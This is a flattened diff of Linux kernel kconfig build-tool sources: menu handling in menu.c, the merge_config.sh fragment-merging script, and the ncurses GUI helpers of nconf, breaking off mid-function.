||||
}
|
||||
}
|
||||
}
|
||||
/* set the type of the remaining choice values */
|
||||
for (menu = parent->list; menu; menu = menu->next) {
|
||||
current_entry = menu;
|
||||
if (menu->sym && menu->sym->type == S_UNKNOWN)
|
||||
menu_set_type(sym->type);
|
||||
}
|
||||
parentdep = expr_alloc_symbol(sym);
|
||||
} else if (parent->prompt)
|
||||
parentdep = parent->prompt->visible.expr;
|
||||
else
|
||||
parentdep = parent->dep;
|
||||
|
||||
for (menu = parent->list; menu; menu = menu->next) {
|
||||
basedep = expr_transform(menu->dep);
|
||||
basedep = expr_alloc_and(expr_copy(parentdep), basedep);
|
||||
basedep = expr_eliminate_dups(basedep);
|
||||
menu->dep = basedep;
|
||||
if (menu->sym)
|
||||
prop = menu->sym->prop;
|
||||
else
|
||||
prop = menu->prompt;
|
||||
for (; prop; prop = prop->next) {
|
||||
if (prop->menu != menu)
|
||||
continue;
|
||||
dep = expr_transform(prop->visible.expr);
|
||||
dep = expr_alloc_and(expr_copy(basedep), dep);
|
||||
dep = expr_eliminate_dups(dep);
|
||||
if (menu->sym && menu->sym->type != S_TRISTATE)
|
||||
dep = expr_trans_bool(dep);
|
||||
prop->visible.expr = dep;
|
||||
if (prop->type == P_SELECT) {
|
||||
struct symbol *es = prop_get_symbol(prop);
|
||||
es->rev_dep.expr = expr_alloc_or(es->rev_dep.expr,
|
||||
expr_alloc_and(expr_alloc_symbol(menu->sym), expr_copy(dep)));
|
||||
}
|
||||
}
|
||||
}
|
||||
for (menu = parent->list; menu; menu = menu->next)
|
||||
menu_finalize(menu);
|
||||
} else if (sym) {
|
||||
basedep = parent->prompt ? parent->prompt->visible.expr : NULL;
|
||||
basedep = expr_trans_compare(basedep, E_UNEQUAL, &symbol_no);
|
||||
basedep = expr_eliminate_dups(expr_transform(basedep));
|
||||
last_menu = NULL;
|
||||
for (menu = parent->next; menu; menu = menu->next) {
|
||||
dep = menu->prompt ? menu->prompt->visible.expr : menu->dep;
|
||||
if (!expr_contains_symbol(dep, sym))
|
||||
break;
|
||||
if (expr_depends_symbol(dep, sym))
|
||||
goto next;
|
||||
dep = expr_trans_compare(dep, E_UNEQUAL, &symbol_no);
|
||||
dep = expr_eliminate_dups(expr_transform(dep));
|
||||
dep2 = expr_copy(basedep);
|
||||
expr_eliminate_eq(&dep, &dep2);
|
||||
expr_free(dep);
|
||||
if (!expr_is_yes(dep2)) {
|
||||
expr_free(dep2);
|
||||
break;
|
||||
}
|
||||
expr_free(dep2);
|
||||
next:
|
||||
menu_finalize(menu);
|
||||
menu->parent = parent;
|
||||
last_menu = menu;
|
||||
}
|
||||
if (last_menu) {
|
||||
parent->list = parent->next;
|
||||
parent->next = last_menu->next;
|
||||
last_menu->next = NULL;
|
||||
}
|
||||
|
||||
sym->dir_dep.expr = expr_alloc_or(sym->dir_dep.expr, parent->dep);
|
||||
}
|
||||
for (menu = parent->list; menu; menu = menu->next) {
|
||||
if (sym && sym_is_choice(sym) &&
|
||||
menu->sym && !sym_is_choice_value(menu->sym)) {
|
||||
current_entry = menu;
|
||||
menu->sym->flags |= SYMBOL_CHOICEVAL;
|
||||
if (!menu->prompt)
|
||||
menu_warn(menu, "choice value must have a prompt");
|
||||
for (prop = menu->sym->prop; prop; prop = prop->next) {
|
||||
if (prop->type == P_DEFAULT)
|
||||
prop_warn(prop, "defaults for choice "
|
||||
"values not supported");
|
||||
if (prop->menu == menu)
|
||||
continue;
|
||||
if (prop->type == P_PROMPT &&
|
||||
prop->menu->parent->sym != sym)
|
||||
prop_warn(prop, "choice value used outside its choice group");
|
||||
}
|
||||
/* Non-tristate choice values of tristate choices must
|
||||
* depend on the choice being set to Y. The choice
|
||||
* values' dependencies were propagated to their
|
||||
* properties above, so the change here must be re-
|
||||
* propagated.
|
||||
*/
|
||||
if (sym->type == S_TRISTATE && menu->sym->type != S_TRISTATE) {
|
||||
basedep = expr_alloc_comp(E_EQUAL, sym, &symbol_yes);
|
||||
menu->dep = expr_alloc_and(basedep, menu->dep);
|
||||
for (prop = menu->sym->prop; prop; prop = prop->next) {
|
||||
if (prop->menu != menu)
|
||||
continue;
|
||||
prop->visible.expr = expr_alloc_and(expr_copy(basedep),
|
||||
prop->visible.expr);
|
||||
}
|
||||
}
|
||||
menu_add_symbol(P_CHOICE, sym, NULL);
|
||||
prop = sym_get_choice_prop(sym);
|
||||
for (ep = &prop->expr; *ep; ep = &(*ep)->left.expr)
|
||||
;
|
||||
*ep = expr_alloc_one(E_LIST, NULL);
|
||||
(*ep)->right.sym = menu->sym;
|
||||
}
|
||||
if (menu->list && (!menu->prompt || !menu->prompt->text)) {
|
||||
for (last_menu = menu->list; ; last_menu = last_menu->next) {
|
||||
last_menu->parent = parent;
|
||||
if (!last_menu->next)
|
||||
break;
|
||||
}
|
||||
last_menu->next = menu->next;
|
||||
menu->next = menu->list;
|
||||
menu->list = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if (sym && !(sym->flags & SYMBOL_WARNED)) {
|
||||
if (sym->type == S_UNKNOWN)
|
||||
menu_warn(parent, "config symbol defined without type");
|
||||
|
||||
if (sym_is_choice(sym) && !parent->prompt)
|
||||
menu_warn(parent, "choice must have a prompt");
|
||||
|
||||
/* Check properties connected to this symbol */
|
||||
sym_check_prop(sym);
|
||||
sym->flags |= SYMBOL_WARNED;
|
||||
}
|
||||
|
||||
if (sym && !sym_is_optional(sym) && parent->prompt) {
|
||||
sym->rev_dep.expr = expr_alloc_or(sym->rev_dep.expr,
|
||||
expr_alloc_and(parent->prompt->visible.expr,
|
||||
expr_alloc_symbol(&symbol_mod)));
|
||||
}
|
||||
}
|
||||
|
||||
bool menu_has_prompt(struct menu *menu)
|
||||
{
|
||||
if (!menu->prompt)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/*
|
||||
* Determine if a menu is empty.
|
||||
* A menu is considered empty if it contains no or only
|
||||
* invisible entries.
|
||||
*/
|
||||
bool menu_is_empty(struct menu *menu)
|
||||
{
|
||||
struct menu *child;
|
||||
|
||||
for (child = menu->list; child; child = child->next) {
|
||||
if (menu_is_visible(child))
|
||||
return(false);
|
||||
}
|
||||
return(true);
|
||||
}
|
||||
|
||||
bool menu_is_visible(struct menu *menu)
|
||||
{
|
||||
struct menu *child;
|
||||
struct symbol *sym;
|
||||
tristate visible;
|
||||
|
||||
if (!menu->prompt)
|
||||
return false;
|
||||
|
||||
if (menu->visibility) {
|
||||
if (expr_calc_value(menu->visibility) == no)
|
||||
return no;
|
||||
}
|
||||
|
||||
sym = menu->sym;
|
||||
if (sym) {
|
||||
sym_calc_value(sym);
|
||||
visible = menu->prompt->visible.tri;
|
||||
} else
|
||||
visible = menu->prompt->visible.tri = expr_calc_value(menu->prompt->visible.expr);
|
||||
|
||||
if (visible != no)
|
||||
return true;
|
||||
|
||||
if (!sym || sym_get_tristate_value(menu->sym) == no)
|
||||
return false;
|
||||
|
||||
for (child = menu->list; child; child = child->next) {
|
||||
if (menu_is_visible(child)) {
|
||||
if (sym)
|
||||
sym->flags |= SYMBOL_DEF_USER;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
const char *menu_get_prompt(struct menu *menu)
|
||||
{
|
||||
if (menu->prompt)
|
||||
return menu->prompt->text;
|
||||
else if (menu->sym)
|
||||
return menu->sym->name;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
struct menu *menu_get_root_menu(struct menu *menu)
|
||||
{
|
||||
return &rootmenu;
|
||||
}
|
||||
|
||||
struct menu *menu_get_parent_menu(struct menu *menu)
|
||||
{
|
||||
enum prop_type type;
|
||||
|
||||
for (; menu != &rootmenu; menu = menu->parent) {
|
||||
type = menu->prompt ? menu->prompt->type : 0;
|
||||
if (type == P_MENU)
|
||||
break;
|
||||
}
|
||||
return menu;
|
||||
}
|
||||
|
||||
bool menu_has_help(struct menu *menu)
|
||||
{
|
||||
return menu->help != NULL;
|
||||
}
|
||||
|
||||
const char *menu_get_help(struct menu *menu)
|
||||
{
|
||||
if (menu->help)
|
||||
return menu->help;
|
||||
else
|
||||
return "";
|
||||
}
|
||||
|
||||
static void get_prompt_str(struct gstr *r, struct property *prop,
|
||||
struct list_head *head)
|
||||
{
|
||||
int i, j;
|
||||
struct menu *submenu[8], *menu, *location = NULL;
|
||||
struct jump_key *jump;
|
||||
|
||||
str_printf(r, _("Prompt: %s\n"), _(prop->text));
|
||||
menu = prop->menu->parent;
|
||||
for (i = 0; menu != &rootmenu && i < 8; menu = menu->parent) {
|
||||
bool accessible = menu_is_visible(menu);
|
||||
|
||||
submenu[i++] = menu;
|
||||
if (location == NULL && accessible)
|
||||
location = menu;
|
||||
}
|
||||
if (head && location) {
|
||||
jump = xmalloc(sizeof(struct jump_key));
|
||||
|
||||
if (menu_is_visible(prop->menu)) {
|
||||
/*
|
||||
* There is not enough room to put the hint at the
|
||||
* beginning of the "Prompt" line. Put the hint on the
|
||||
* last "Location" line even when it would belong on
|
||||
* the former.
|
||||
*/
|
||||
jump->target = prop->menu;
|
||||
} else
|
||||
jump->target = location;
|
||||
|
||||
if (list_empty(head))
|
||||
jump->index = 0;
|
||||
else
|
||||
jump->index = list_entry(head->prev, struct jump_key,
|
||||
entries)->index + 1;
|
||||
|
||||
list_add_tail(&jump->entries, head);
|
||||
}
|
||||
|
||||
if (i > 0) {
|
||||
str_printf(r, _(" Location:\n"));
|
||||
for (j = 4; --i >= 0; j += 2) {
|
||||
menu = submenu[i];
|
||||
if (head && location && menu == location)
|
||||
jump->offset = strlen(r->s);
|
||||
str_printf(r, "%*c-> %s", j, ' ',
|
||||
_(menu_get_prompt(menu)));
|
||||
if (menu->sym) {
|
||||
str_printf(r, " (%s [=%s])", menu->sym->name ?
|
||||
menu->sym->name : _("<choice>"),
|
||||
sym_get_string_value(menu->sym));
|
||||
}
|
||||
str_append(r, "\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* get property of type P_SYMBOL
|
||||
*/
|
||||
static struct property *get_symbol_prop(struct symbol *sym)
|
||||
{
|
||||
struct property *prop = NULL;
|
||||
|
||||
for_all_properties(sym, prop, P_SYMBOL)
|
||||
break;
|
||||
return prop;
|
||||
}
|
||||
|
||||
/*
|
||||
* head is optional and may be NULL
|
||||
*/
|
||||
void get_symbol_str(struct gstr *r, struct symbol *sym,
|
||||
struct list_head *head)
|
||||
{
|
||||
bool hit;
|
||||
struct property *prop;
|
||||
|
||||
if (sym && sym->name) {
|
||||
str_printf(r, "Symbol: %s [=%s]\n", sym->name,
|
||||
sym_get_string_value(sym));
|
||||
str_printf(r, "Type : %s\n", sym_type_name(sym->type));
|
||||
if (sym->type == S_INT || sym->type == S_HEX) {
|
||||
prop = sym_get_range_prop(sym);
|
||||
if (prop) {
|
||||
str_printf(r, "Range : ");
|
||||
expr_gstr_print(prop->expr, r);
|
||||
str_append(r, "\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
for_all_prompts(sym, prop)
|
||||
get_prompt_str(r, prop, head);
|
||||
|
||||
prop = get_symbol_prop(sym);
|
||||
if (prop) {
|
||||
str_printf(r, _(" Defined at %s:%d\n"), prop->menu->file->name,
|
||||
prop->menu->lineno);
|
||||
if (!expr_is_yes(prop->visible.expr)) {
|
||||
str_append(r, _(" Depends on: "));
|
||||
expr_gstr_print(prop->visible.expr, r);
|
||||
str_append(r, "\n");
|
||||
}
|
||||
}
|
||||
|
||||
hit = false;
|
||||
for_all_properties(sym, prop, P_SELECT) {
|
||||
if (!hit) {
|
||||
str_append(r, " Selects: ");
|
||||
hit = true;
|
||||
} else
|
||||
str_printf(r, " && ");
|
||||
expr_gstr_print(prop->expr, r);
|
||||
}
|
||||
if (hit)
|
||||
str_append(r, "\n");
|
||||
if (sym->rev_dep.expr) {
|
||||
str_append(r, _(" Selected by: "));
|
||||
expr_gstr_print(sym->rev_dep.expr, r);
|
||||
str_append(r, "\n");
|
||||
}
|
||||
str_append(r, "\n\n");
|
||||
}
|
||||
|
||||
struct gstr get_relations_str(struct symbol **sym_arr, struct list_head *head)
|
||||
{
|
||||
struct symbol *sym;
|
||||
struct gstr res = str_new();
|
||||
int i;
|
||||
|
||||
for (i = 0; sym_arr && (sym = sym_arr[i]); i++)
|
||||
get_symbol_str(&res, sym, head);
|
||||
if (!i)
|
||||
str_append(&res, _("No matches found.\n"));
|
||||
return res;
|
||||
}
|
||||
|
||||
|
||||
void menu_get_ext_help(struct menu *menu, struct gstr *help)
|
||||
{
|
||||
struct symbol *sym = menu->sym;
|
||||
const char *help_text = nohelp_text;
|
||||
|
||||
if (menu_has_help(menu)) {
|
||||
if (sym->name)
|
||||
str_printf(help, "%s%s:\n\n", CONFIG_, sym->name);
|
||||
help_text = menu_get_help(menu);
|
||||
}
|
||||
str_printf(help, "%s\n", _(help_text));
|
||||
if (sym)
|
||||
get_symbol_str(help, sym, NULL);
|
||||
}
|
@ -0,0 +1,151 @@
|
||||
#!/bin/sh
|
||||
# merge_config.sh - Takes a list of config fragment values, and merges
|
||||
# them one by one. Provides warnings on overridden values, and specified
|
||||
# values that did not make it to the resulting .config file (due to missed
|
||||
# dependencies or config symbol removal).
|
||||
#
|
||||
# Portions reused from kconf_check and generate_cfg:
|
||||
# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/kconf_check
|
||||
# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/generate_cfg
|
||||
#
|
||||
# Copyright (c) 2009-2010 Wind River Systems, Inc.
|
||||
# Copyright 2011 Linaro
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License version 2 as
|
||||
# published by the Free Software Foundation.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
# See the GNU General Public License for more details.
|
||||
|
||||
clean_up() {
|
||||
rm -f $TMP_FILE
|
||||
exit
|
||||
}
|
||||
trap clean_up HUP INT TERM
|
||||
|
||||
usage() {
|
||||
echo "Usage: $0 [OPTIONS] [CONFIG [...]]"
|
||||
echo " -h display this help text"
|
||||
echo " -m only merge the fragments, do not execute the make command"
|
||||
echo " -n use allnoconfig instead of alldefconfig"
|
||||
echo " -r list redundant entries when merging fragments"
|
||||
echo " -O dir to put generated output files"
|
||||
}
|
||||
|
||||
MAKE=true
|
||||
ALLTARGET=alldefconfig
|
||||
WARNREDUN=false
|
||||
OUTPUT=.
|
||||
|
||||
while true; do
|
||||
case $1 in
|
||||
"-n")
|
||||
ALLTARGET=allnoconfig
|
||||
shift
|
||||
continue
|
||||
;;
|
||||
"-m")
|
||||
MAKE=false
|
||||
shift
|
||||
continue
|
||||
;;
|
||||
"-h")
|
||||
usage
|
||||
exit
|
||||
;;
|
||||
"-r")
|
||||
WARNREDUN=true
|
||||
shift
|
||||
continue
|
||||
;;
|
||||
"-O")
|
||||
if [ -d $2 ];then
|
||||
OUTPUT=$(echo $2 | sed 's/\/*$//')
|
||||
else
|
||||
echo "output directory $2 does not exist" 1>&2
|
||||
exit 1
|
||||
fi
|
||||
shift 2
|
||||
continue
|
||||
;;
|
||||
*)
|
||||
break
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
INITFILE=$1
|
||||
shift;
|
||||
|
||||
MERGE_LIST=$*
|
||||
SED_CONFIG_EXP="s/^\(# \)\{0,1\}\(CONFIG_[a-zA-Z0-9_]*\)[= ].*/\2/p"
|
||||
TMP_FILE=$(mktemp ./.tmp.config.XXXXXXXXXX)
|
||||
|
||||
echo "Using $INITFILE as base"
|
||||
cat $INITFILE > $TMP_FILE
|
||||
|
||||
# Merge files, printing warnings on overrided values
|
||||
for MERGE_FILE in $MERGE_LIST ; do
|
||||
echo "Merging $MERGE_FILE"
|
||||
CFG_LIST=$(sed -n "$SED_CONFIG_EXP" $MERGE_FILE)
|
||||
|
||||
for CFG in $CFG_LIST ; do
|
||||
grep -q -w $CFG $TMP_FILE
|
||||
if [ $? -eq 0 ] ; then
|
||||
PREV_VAL=$(grep -w $CFG $TMP_FILE)
|
||||
NEW_VAL=$(grep -w $CFG $MERGE_FILE)
|
||||
if [ "x$PREV_VAL" != "x$NEW_VAL" ] ; then
|
||||
echo Value of $CFG is redefined by fragment $MERGE_FILE:
|
||||
echo Previous value: $PREV_VAL
|
||||
echo New value: $NEW_VAL
|
||||
echo
|
||||
elif [ "$WARNREDUN" = "true" ]; then
|
||||
echo Value of $CFG is redundant by fragment $MERGE_FILE:
|
||||
fi
|
||||
sed -i "/$CFG[ =]/d" $TMP_FILE
|
||||
fi
|
||||
done
|
||||
cat $MERGE_FILE >> $TMP_FILE
|
||||
done
|
||||
|
||||
if [ "$MAKE" = "false" ]; then
|
||||
cp $TMP_FILE $OUTPUT/.config
|
||||
echo "#"
|
||||
echo "# merged configuration written to $OUTPUT/.config (needs make)"
|
||||
echo "#"
|
||||
clean_up
|
||||
exit
|
||||
fi
|
||||
|
||||
# If we have an output dir, setup the O= argument, otherwise leave
|
||||
# it blank, since O=. will create an unnecessary ./source softlink
|
||||
OUTPUT_ARG=""
|
||||
if [ "$OUTPUT" != "." ] ; then
|
||||
OUTPUT_ARG="O=$OUTPUT"
|
||||
fi
|
||||
|
||||
|
||||
# Use the merged file as the starting point for:
|
||||
# alldefconfig: Fills in any missing symbols with Kconfig default
|
||||
# allnoconfig: Fills in any missing symbols with # CONFIG_* is not set
|
||||
PRODUCT_ENV=${PRODUCT_ENV:-KCONFIG}
|
||||
make ${PRODUCT_ENV}_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET
|
||||
|
||||
|
||||
# Check all specified config values took (might have missed-dependency issues)
|
||||
for CFG in $(sed -n "$SED_CONFIG_EXP" $TMP_FILE); do
|
||||
|
||||
REQUESTED_VAL=$(grep -w -e "$CFG" $TMP_FILE)
|
||||
ACTUAL_VAL=$(grep -w -e "$CFG" $OUTPUT/.config)
|
||||
if [ "x$REQUESTED_VAL" != "x$ACTUAL_VAL" ] ; then
|
||||
echo "Value requested for $CFG not in final .config"
|
||||
echo "Requested value: $REQUESTED_VAL"
|
||||
echo "Actual value: $ACTUAL_VAL"
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
|
||||
clean_up
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,656 @@
|
||||
/*
|
||||
* Copyright (C) 2008 Nir Tzachar <nir.tzachar@gmail.com?
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*
|
||||
* Derived from menuconfig.
|
||||
*
|
||||
*/
|
||||
#include "nconf.h"
|
||||
|
||||
/* a list of all the different widgets we use */
|
||||
attributes_t attributes[ATTR_MAX+1] = {0};
|
||||
|
||||
/* available colors:
|
||||
COLOR_BLACK 0
|
||||
COLOR_RED 1
|
||||
COLOR_GREEN 2
|
||||
COLOR_YELLOW 3
|
||||
COLOR_BLUE 4
|
||||
COLOR_MAGENTA 5
|
||||
COLOR_CYAN 6
|
||||
COLOR_WHITE 7
|
||||
*/
|
||||
static void set_normal_colors(void)
|
||||
{
|
||||
init_pair(NORMAL, -1, -1);
|
||||
init_pair(MAIN_HEADING, COLOR_MAGENTA, -1);
|
||||
|
||||
/* FORE is for the selected item */
|
||||
init_pair(MAIN_MENU_FORE, -1, -1);
|
||||
/* BACK for all the rest */
|
||||
init_pair(MAIN_MENU_BACK, -1, -1);
|
||||
init_pair(MAIN_MENU_GREY, -1, -1);
|
||||
init_pair(MAIN_MENU_HEADING, COLOR_GREEN, -1);
|
||||
init_pair(MAIN_MENU_BOX, COLOR_YELLOW, -1);
|
||||
|
||||
init_pair(SCROLLWIN_TEXT, -1, -1);
|
||||
init_pair(SCROLLWIN_HEADING, COLOR_GREEN, -1);
|
||||
init_pair(SCROLLWIN_BOX, COLOR_YELLOW, -1);
|
||||
|
||||
init_pair(DIALOG_TEXT, -1, -1);
|
||||
init_pair(DIALOG_BOX, COLOR_YELLOW, -1);
|
||||
init_pair(DIALOG_MENU_BACK, COLOR_YELLOW, -1);
|
||||
init_pair(DIALOG_MENU_FORE, COLOR_RED, -1);
|
||||
|
||||
init_pair(INPUT_BOX, COLOR_YELLOW, -1);
|
||||
init_pair(INPUT_HEADING, COLOR_GREEN, -1);
|
||||
init_pair(INPUT_TEXT, -1, -1);
|
||||
init_pair(INPUT_FIELD, -1, -1);
|
||||
|
||||
init_pair(FUNCTION_HIGHLIGHT, -1, -1);
|
||||
init_pair(FUNCTION_TEXT, COLOR_YELLOW, -1);
|
||||
}
|
||||
|
||||
/* available attributes:
|
||||
A_NORMAL Normal display (no highlight)
|
||||
A_STANDOUT Best highlighting mode of the terminal.
|
||||
A_UNDERLINE Underlining
|
||||
A_REVERSE Reverse video
|
||||
A_BLINK Blinking
|
||||
A_DIM Half bright
|
||||
A_BOLD Extra bright or bold
|
||||
A_PROTECT Protected mode
|
||||
A_INVIS Invisible or blank mode
|
||||
A_ALTCHARSET Alternate character set
|
||||
A_CHARTEXT Bit-mask to extract a character
|
||||
COLOR_PAIR(n) Color-pair number n
|
||||
*/
|
||||
static void normal_color_theme(void)
|
||||
{
|
||||
/* automatically add color... */
|
||||
#define mkattr(name, attr) do { \
|
||||
attributes[name] = attr | COLOR_PAIR(name); } while (0)
|
||||
mkattr(NORMAL, NORMAL);
|
||||
mkattr(MAIN_HEADING, A_BOLD | A_UNDERLINE);
|
||||
|
||||
mkattr(MAIN_MENU_FORE, A_REVERSE);
|
||||
mkattr(MAIN_MENU_BACK, A_NORMAL);
|
||||
mkattr(MAIN_MENU_GREY, A_NORMAL);
|
||||
mkattr(MAIN_MENU_HEADING, A_BOLD);
|
||||
mkattr(MAIN_MENU_BOX, A_NORMAL);
|
||||
|
||||
mkattr(SCROLLWIN_TEXT, A_NORMAL);
|
||||
mkattr(SCROLLWIN_HEADING, A_BOLD);
|
||||
mkattr(SCROLLWIN_BOX, A_BOLD);
|
||||
|
||||
mkattr(DIALOG_TEXT, A_BOLD);
|
||||
mkattr(DIALOG_BOX, A_BOLD);
|
||||
mkattr(DIALOG_MENU_FORE, A_STANDOUT);
|
||||
mkattr(DIALOG_MENU_BACK, A_NORMAL);
|
||||
|
||||
mkattr(INPUT_BOX, A_NORMAL);
|
||||
mkattr(INPUT_HEADING, A_BOLD);
|
||||
mkattr(INPUT_TEXT, A_NORMAL);
|
||||
mkattr(INPUT_FIELD, A_UNDERLINE);
|
||||
|
||||
mkattr(FUNCTION_HIGHLIGHT, A_BOLD);
|
||||
mkattr(FUNCTION_TEXT, A_REVERSE);
|
||||
}
|
||||
|
||||
static void no_colors_theme(void)
|
||||
{
|
||||
/* automatically add highlight, no color */
|
||||
#define mkattrn(name, attr) { attributes[name] = attr; }
|
||||
|
||||
mkattrn(NORMAL, NORMAL);
|
||||
mkattrn(MAIN_HEADING, A_BOLD | A_UNDERLINE);
|
||||
|
||||
mkattrn(MAIN_MENU_FORE, A_STANDOUT);
|
||||
mkattrn(MAIN_MENU_BACK, A_NORMAL);
|
||||
mkattrn(MAIN_MENU_GREY, A_NORMAL);
|
||||
mkattrn(MAIN_MENU_HEADING, A_BOLD);
|
||||
mkattrn(MAIN_MENU_BOX, A_NORMAL);
|
||||
|
||||
mkattrn(SCROLLWIN_TEXT, A_NORMAL);
|
||||
mkattrn(SCROLLWIN_HEADING, A_BOLD);
|
||||
mkattrn(SCROLLWIN_BOX, A_BOLD);
|
||||
|
||||
mkattrn(DIALOG_TEXT, A_NORMAL);
|
||||
mkattrn(DIALOG_BOX, A_BOLD);
|
||||
mkattrn(DIALOG_MENU_FORE, A_STANDOUT);
|
||||
mkattrn(DIALOG_MENU_BACK, A_NORMAL);
|
||||
|
||||
mkattrn(INPUT_BOX, A_BOLD);
|
||||
mkattrn(INPUT_HEADING, A_BOLD);
|
||||
mkattrn(INPUT_TEXT, A_NORMAL);
|
||||
mkattrn(INPUT_FIELD, A_UNDERLINE);
|
||||
|
||||
mkattrn(FUNCTION_HIGHLIGHT, A_BOLD);
|
||||
mkattrn(FUNCTION_TEXT, A_REVERSE);
|
||||
}
|
||||
|
||||
void set_colors()
|
||||
{
|
||||
start_color();
|
||||
use_default_colors();
|
||||
set_normal_colors();
|
||||
if (has_colors()) {
|
||||
normal_color_theme();
|
||||
} else {
|
||||
/* give defaults */
|
||||
no_colors_theme();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* this changes the windows attributes !!! */
|
||||
void print_in_middle(WINDOW *win,
|
||||
int starty,
|
||||
int startx,
|
||||
int width,
|
||||
const char *string,
|
||||
chtype color)
|
||||
{ int length, x, y;
|
||||
float temp;
|
||||
|
||||
|
||||
if (win == NULL)
|
||||
win = stdscr;
|
||||
getyx(win, y, x);
|
||||
if (startx != 0)
|
||||
x = startx;
|
||||
if (starty != 0)
|
||||
y = starty;
|
||||
if (width == 0)
|
||||
width = 80;
|
||||
|
||||
length = strlen(string);
|
||||
temp = (width - length) / 2;
|
||||
x = startx + (int)temp;
|
||||
(void) wattrset(win, color);
|
||||
mvwprintw(win, y, x, "%s", string);
|
||||
refresh();
|
||||
}
|
||||
|
||||
int get_line_no(const char *text)
|
||||
{
|
||||
int i;
|
||||
int total = 1;
|
||||
|
||||
if (!text)
|
||||
return 0;
|
||||
|
||||
for (i = 0; text[i] != '\0'; i++)
|
||||
if (text[i] == '\n')
|
||||
total++;
|
||||
return total;
|
||||
}
|
||||
|
||||
const char *get_line(const char *text, int line_no)
|
||||
{
|
||||
int i;
|
||||
int lines = 0;
|
||||
|
||||
if (!text)
|
||||
return 0;
|
||||
|
||||
for (i = 0; text[i] != '\0' && lines < line_no; i++)
|
||||
if (text[i] == '\n')
|
||||
lines++;
|
||||
return text+i;
|
||||
}
|
||||
|
||||
int get_line_length(const char *line)
|
||||
{
|
||||
int res = 0;
|
||||
while (*line != '\0' && *line != '\n') {
|
||||
line++;
|
||||
res++;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
/* print all lines to the window. */
|
||||
void fill_window(WINDOW *win, const char *text)
|
||||
{
|
||||
int x, y;
|
||||
int total_lines = get_line_no(text);
|
||||
int i;
|
||||
|
||||
getmaxyx(win, y, x);
|
||||
/* do not go over end of line */
|
||||
total_lines = min(total_lines, y);
|
||||
for (i = 0; i < total_lines; i++) {
|
||||
char tmp[x+10];
|
||||
const char *line = get_line(text, i);
|
||||
int len = get_line_length(line);
|
||||
strncpy(tmp, line, min(len, x));
|
||||
tmp[len] = '\0';
|
||||
mvwprintw(win, i, 0, "%s", tmp);
|
||||
}
|
||||
}
|
||||
|
||||
/* get the message, and buttons.
|
||||
* each button must be a char*
|
||||
* return the selected button
|
||||
*
|
||||
* this dialog is used for 2 different things:
|
||||
* 1) show a text box, no buttons.
|
||||
* 2) show a dialog, with horizontal buttons
|
||||
*/
|
||||
int btn_dialog(WINDOW *main_window, const char *msg, int btn_num, ...)
|
||||
{
|
||||
va_list ap;
|
||||
char *btn;
|
||||
int btns_width = 0;
|
||||
int msg_lines = 0;
|
||||
int msg_width = 0;
|
||||
int total_width;
|
||||
int win_rows = 0;
|
||||
WINDOW *win;
|
||||
WINDOW *msg_win;
|
||||
WINDOW *menu_win;
|
||||
MENU *menu;
|
||||
ITEM *btns[btn_num+1];
|
||||
int i, x, y;
|
||||
int res = -1;
|
||||
|
||||
|
||||
va_start(ap, btn_num);
|
||||
for (i = 0; i < btn_num; i++) {
|
||||
btn = va_arg(ap, char *);
|
||||
btns[i] = new_item(btn, "");
|
||||
btns_width += strlen(btn)+1;
|
||||
}
|
||||
va_end(ap);
|
||||
btns[btn_num] = NULL;
|
||||
|
||||
/* find the widest line of msg: */
|
||||
msg_lines = get_line_no(msg);
|
||||
for (i = 0; i < msg_lines; i++) {
|
||||
const char *line = get_line(msg, i);
|
||||
int len = get_line_length(line);
|
||||
if (msg_width < len)
|
||||
msg_width = len;
|
||||
}
|
||||
|
||||
total_width = max(msg_width, btns_width);
|
||||
/* place dialog in middle of screen */
|
||||
y = (getmaxy(stdscr)-(msg_lines+4))/2;
|
||||
x = (getmaxx(stdscr)-(total_width+4))/2;
|
||||
|
||||
|
||||
/* create the windows */
|
||||
if (btn_num > 0)
|
||||
win_rows = msg_lines+4;
|
||||
else
|
||||
win_rows = msg_lines+2;
|
||||
|
||||
win = newwin(win_rows, total_width+4, y, x);
|
||||
keypad(win, TRUE);
|
||||
menu_win = derwin(win, 1, btns_width, win_rows-2,
|
||||
1+(total_width+2-btns_width)/2);
|
||||
menu = new_menu(btns);
|
||||
msg_win = derwin(win, win_rows-2, msg_width, 1,
|
||||
1+(total_width+2-msg_width)/2);
|
||||
|
||||
set_menu_fore(menu, attributes[DIALOG_MENU_FORE]);
|
||||
set_menu_back(menu, attributes[DIALOG_MENU_BACK]);
|
||||
|
||||
(void) wattrset(win, attributes[DIALOG_BOX]);
|
||||
box(win, 0, 0);
|
||||
|
||||
/* print message */
|
||||
(void) wattrset(msg_win, attributes[DIALOG_TEXT]);
|
||||
fill_window(msg_win, msg);
|
||||
|
||||
set_menu_win(menu, win);
|
||||
set_menu_sub(menu, menu_win);
|
||||
set_menu_format(menu, 1, btn_num);
|
||||
menu_opts_off(menu, O_SHOWDESC);
|
||||
menu_opts_off(menu, O_SHOWMATCH);
|
||||
menu_opts_on(menu, O_ONEVALUE);
|
||||
menu_opts_on(menu, O_NONCYCLIC);
|
||||
set_menu_mark(menu, "");
|
||||
post_menu(menu);
|
||||
|
||||
|
||||
touchwin(win);
|
||||
refresh_all_windows(main_window);
|
||||
while ((res = wgetch(win))) {
|
||||
switch (res) {
|
||||
case KEY_LEFT:
|
||||
